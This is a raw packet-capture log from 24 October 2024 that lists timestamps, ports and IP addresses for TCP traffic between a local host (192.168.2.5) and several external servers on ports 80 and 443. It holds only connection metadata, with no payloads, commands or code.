Oct 24, 2024 19:30:17.027273893 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:17.027324915 CEST	49994	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:17.028239965 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:17.028366089 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:17.028418064 CEST	49994	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:17.028476954 CEST	49994	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:17.028497934 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:17.028511047 CEST	49994	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:17.028517962 CEST	443	49994	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:17.254165888 CEST	49997	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:17.254215956 CEST	443	49997	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:17.254291058 CEST	49997	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:17.254604101 CEST	49997	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:17.254616022 CEST	443	49997	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:17.574552059 CEST	49974	80	192.168.2.5	185.215.113.43
Oct 24, 2024 19:30:17.574829102 CEST	49998	80	192.168.2.5	185.215.113.43
Oct 24, 2024 19:30:17.580408096 CEST	80	49998	185.215.113.43	192.168.2.5
Oct 24, 2024 19:30:17.580492020 CEST	49998	80	192.168.2.5	185.215.113.43
Oct 24, 2024 19:30:17.580583096 CEST	49998	80	192.168.2.5	185.215.113.43
Oct 24, 2024 19:30:17.581104994 CEST	80	49974	185.215.113.43	192.168.2.5
Oct 24, 2024 19:30:17.581152916 CEST	49974	80	192.168.2.5	185.215.113.43
Oct 24, 2024 19:30:17.586239100 CEST	80	49998	185.215.113.43	192.168.2.5
Oct 24, 2024 19:30:17.869748116 CEST	443	49997	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:17.869853973 CEST	49997	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:17.894588947 CEST	49997	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:17.894629955 CEST	443	49997	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:17.895040989 CEST	443	49997	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:17.896661997 CEST	49997	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:17.896923065 CEST	49997	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:17.896955967 CEST	443	49997	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:18.453309059 CEST	443	49997	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:18.453429937 CEST	443	49997	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:18.453479052 CEST	49997	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:18.453632116 CEST	49997	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:18.494743109 CEST	80	49998	185.215.113.43	192.168.2.5
Oct 24, 2024 19:30:18.494852066 CEST	49998	80	192.168.2.5	185.215.113.43
Oct 24, 2024 19:30:18.498326063 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:18.498677015 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:18.504002094 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:18.504071951 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:18.504961014 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:18.505084038 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:18.505287886 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:18.511075974 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:18.677545071 CEST	50000	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:18.677583933 CEST	443	50000	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:18.677673101 CEST	50000	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:18.678145885 CEST	50000	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:18.678158998 CEST	443	50000	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:18.770015001 CEST	50001	80	192.168.2.5	185.215.113.37
Oct 24, 2024 19:30:18.775522947 CEST	80	50001	185.215.113.37	192.168.2.5
Oct 24, 2024 19:30:18.775594950 CEST	50001	80	192.168.2.5	185.215.113.37
Oct 24, 2024 19:30:18.775790930 CEST	50001	80	192.168.2.5	185.215.113.37
Oct 24, 2024 19:30:18.783025026 CEST	80	50001	185.215.113.37	192.168.2.5
Oct 24, 2024 19:30:19.289613008 CEST	443	50000	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:19.290266991 CEST	50000	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:19.413574934 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.413855076 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.413947105 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.413953066 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.413970947 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.413981915 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.413999081 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.413999081 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.414011955 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.414021969 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.414025068 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.414033890 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.414047003 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.414056063 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.414077044 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.414089918 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.419756889 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.419769049 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.419780970 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.419831038 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.420038939 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.420106888 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.569426060 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.569497108 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.569560051 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.569575071 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.569598913 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.569633007 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.569644928 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.569664955 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.569679022 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.569684982 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.569717884 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.569741964 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.569883108 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.569883108 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.569883108 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.570979118 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.570992947 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.571003914 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.571039915 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.571048975 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.571060896 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.571070910 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.571073055 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.571083069 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.571094036 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.571105957 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.571131945 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.571141958 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.571155071 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.571166992 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.571201086 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.572786093 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.572798014 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.572808027 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.572839975 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.572855949 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.572911978 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.572923899 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.572933912 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.572951078 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.572966099 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.572985888 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.634325981 CEST	50000	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:19.634351969 CEST	443	50000	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:19.634809017 CEST	443	50000	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:19.636117935 CEST	50000	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:19.636117935 CEST	50000	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:19.636184931 CEST	443	50000	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:19.636301041 CEST	50000	443	192.168.2.5	104.21.53.8
Oct 24, 2024 19:30:19.636308908 CEST	443	50000	104.21.53.8	192.168.2.5
Oct 24, 2024 19:30:19.686789989 CEST	80	50001	185.215.113.37	192.168.2.5
Oct 24, 2024 19:30:19.686991930 CEST	50001	80	192.168.2.5	185.215.113.37
Oct 24, 2024 19:30:19.689517021 CEST	50001	80	192.168.2.5	185.215.113.37
Oct 24, 2024 19:30:19.694910049 CEST	80	50001	185.215.113.37	192.168.2.5
Oct 24, 2024 19:30:19.725130081 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.725157976 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.725168943 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.725305080 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.725307941 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.725308895 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.725316048 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.725332022 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.725353003 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.725377083 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.725390911 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.725402117 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.725413084 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.725436926 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.725467920 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.725467920 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.725481987 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.725881100 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.725893021 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.725903988 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.725931883 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.725951910 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.725959063 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.725970984 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.725981951 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.726005077 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.726016045 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.726732969 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.726743937 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.726754904 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.726778984 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.726804018 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.726804972 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.726819038 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.726830006 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.726840973 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.726841927 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.726866961 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.726891041 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.727626085 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.727672100 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.727706909 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.727716923 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.727724075 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.727729082 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.727735996 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.727775097 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.727941990 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.727981091 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.728538990 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.728585005 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.728693962 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.728704929 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.728720903 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.728732109 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.728743076 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.728745937 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.728756905 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.728771925 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.728797913 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.729618073 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.729629993 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.729640007 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.729674101 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.729691982 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.729760885 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.729772091 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.729783058 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.729796886 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.729805946 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.729830980 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.730743885 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.730803967 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.730853081 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.881830931 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.881876945 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.881889105 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.881922960 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.881936073 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.881948948 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.881953955 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.881962061 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.881999969 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.882008076 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882020950 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882033110 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882050991 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882052898 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.882062912 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882076025 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.882097960 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.882153034 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882164001 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882177114 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882189035 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882196903 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.882200956 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882213116 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882225037 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882237911 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882247925 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.882251024 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882289886 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.882298946 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882322073 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882333040 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882361889 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.882380962 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.882391930 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882402897 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882415056 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882438898 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.882471085 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.882482052 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882494926 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882507086 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882519007 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882530928 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882535934 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.882571936 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882572889 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.882582903 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882595062 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882607937 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882612944 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.882620096 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882632971 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882652044 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.882654905 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882667065 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882678986 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.882683992 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.882707119 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.882728100 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.883241892 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.883299112 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.883373022 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.883383989 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.883409977 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.883420944 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.883420944 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.883433104 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.883445978 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.883455038 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.883457899 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.883469105 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.883481026 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.883482933 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.883503914 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.883514881 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.883524895 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.883526087 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.883554935 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.883558989 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.883565903 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.883579016 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.883593082 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.883626938 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.887670040 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.887696028 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.887707949 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.887720108 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.887732029 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.887753010 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.887754917 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.887768030 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.887778044 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.887783051 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.887792110 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.887803078 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.887809038 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.887814999 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.887828112 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.887837887 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.887840986 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.887856960 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.887892008 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.887902975 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.887916088 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.887927055 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.887944937 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.887979031 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.888123035 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.888169050 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.888253927 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.888264894 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.888286114 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.888298988 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.888303995 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.888310909 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.888322115 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.888334990 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.888340950 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.888362885 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.888380051 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.888386011 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.888391972 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.888402939 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.888415098 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:19.888416052 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:19.888427019 CEST	80	49999	185.215.113.16	192.168.2.5
